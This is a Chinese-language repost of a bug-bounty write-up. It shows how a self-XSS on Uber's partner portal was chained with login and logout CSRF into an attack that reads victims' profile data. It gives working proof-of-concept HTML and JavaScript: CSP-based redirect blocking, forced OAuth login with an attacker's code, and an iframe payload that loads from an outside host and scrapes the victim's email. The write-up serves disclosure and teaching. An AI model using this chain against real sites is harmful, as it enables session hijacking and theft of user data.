Uber Bug Bounty:将self-XSS转变为good-XSS

2019-05-14 约 2250 字 预计阅读 5 分钟

声明:本文 【Uber Bug Bounty:将self-XSS转变为good-XSS】 由作者 落花四月 于 2019-05-14 09:19:00 首发 先知社区 曾经 浏览数 105 次

感谢 落花四月 的辛苦付出!

Uber Bug Bounty:将self-XSS转变为good-XSS

既然Uber bug赏金计划已公开发布,我可以发布一些我最喜欢的提交内容,这些内容在过去的一年里一直很想做。

在Uber的合作伙伴门户网站上,驱动程序可以登录并更新其详细信息,我发现了一个非常简单的经典XSS:将其中一个配置文件字段的值更改为

<script>alert(document.domain);</script>

导致代码被执行,并弹出一个警告框。

注册后,这需要花费两分钟的时间才能找到,但现在又来了。

Self-XSS

能够在另一个站点的上下文中执行额外的,任意的JavaScript称为跨站点脚本(我假设99%的读者都知道)。通常,你希望针对其他用户执行此操作,以便抽取会话中的cookie,提交XHR请求等。

如果您无法针对其他用户执行此操作 - 例如,代码仅针对您的帐户执行,则称为Self-XSS。

在这种情况下,它似乎是我们发现的。你的个人资料的地址部分仅向您显示(例外情况可能是内部Uber工具也显示地址,但这是另一个问题),我们无法更新其他用户的地址以强制对其执行。

我总是想着是否发送有潜力的bug(这个站点中的XSS漏洞),所以让我们试着找出一种从bug中删除“self”部分的方法。

Uber OAuth登录流程

Uber使用的OAuth非常典型:

用户访问需要登录的Uber站点,例如

partners.uber.com

用户被重定向到授权服务器,

login.uber.com

用户输入凭据

用户被重定向回代码,然后可以交换访问cookie

partners.uber.com

如果您没有从上面的屏幕截图中看到OAuth回调,

/oauth/callback?code=...

不使用推荐的参数。这在登录功能中引入了CSRF漏洞,可能会被视为重要问题。

state

此外,注销功能中存在CSRF漏洞,这实际上不属于问题。

/logout

销毁用户的会话,并执行重定向到相同的注销功能。

partner.uber.com

login.uber.com

由于我们的payload仅在我们的帐户内可用,因此我们希望将用户登录到我们的帐户,而帐户又将执行payload。但是,将它们登录到我们的帐户会

破坏它们的会话,这会破坏很多错误的价值(不再可能对其帐户执行操作)。因此,让我们将这三个小问题(self-XSS和两个CSRF)联系在一起。

有关OAuth安全性的更多信息,请查看@ homakov的精彩指南。

链接中的bugs

我们的计划有三个部分:

首先,将用户退出会话,但不记录他们的会话。这可以确保我们可以将其记录回帐户

partner.uber.com

login.uber.com

其次,将用户登录到我们的帐户,以便执行我们的payload

最后,记录他们回到自己的帐户,而我们的代码仍然在运行,这样我们就可以访问他们的详细资料

首先:注销一个域名

我们首先要发出请求

https://partners.uber.com/logout/

以便我们可以将它们记录到我们的帐户中。问题是向此端点发出requets导致302重定向到,这会破坏会话。我们无法拦截每个重定向并删除请求,因为浏览器会隐式跟踪这些。

https://login.uber.com/logout/

但是,我们可以做的一个技巧是使用内容安全策略来定义允许加载哪些源(我希望您可以看到使用旨在帮助缓解此上下文中的XSS的功能的方法)。

我们将策略设置为仅允许请求

partners.uber.com

这将阻止。

https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">

这有效,如CSP违规错误消息所示:

第2步:登录我们的帐户

这个比较简单。我们发出请求

https://partners.uber.com/login/

启动登录(这是必需的,否则应用程序将不接受回调)。使用CSP技巧我们阻止流程完成,然后我们自己提供(可以通过登录我们自己的帐户获得),将其登录到我们的帐户。

code

由于CSP违规触发了

onerror

事件处理程序,这将用于跳转到下一步。

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第3步:切换回他们的帐户

这部分是将作为XSS的payload包含的代码,存储在我们的帐户中。

一旦执行此有效负载,我们就可以切换回他们的帐户。这必须在iframe中 - 我们需要能够继续运行我们的代码。

//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe的内容再次使用CSP技巧:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另一个 iframe,因此我们可以获取他们的一些数据。

//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

由于我们的最终iframe是从与包含我们的JS的Profile页面相同的原点加载的

X-Frame-Options

设置为not,我们可以访问其中的内容(使用)

sameorigin

deny

contentWindow

总结

在结合所有步骤后,我们有以下攻击流程:

将步骤3中的有效负载添加到我们的配置文件

登录我们的帐户,但取消回调并记下未使用的参数

    code

让用户访问我们从步骤2创建的文件 - 这与您对某人执行reflect-XSS的方式类似

然后,用户将被注销,并登录到我们的帐户

将执行步骤3中的payload

在隐藏的iframe中,它们将从我们的帐户中注销

在另一个隐藏的iframe中,他们将被登录到他们的帐户中

我们现在有一个iframe,在同一个来源中包含用户的会话

这是一个有趣的漏洞,并证明值得坚持不懈地专研漏洞可能比最初想象的更具影响力。

原文链接:https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now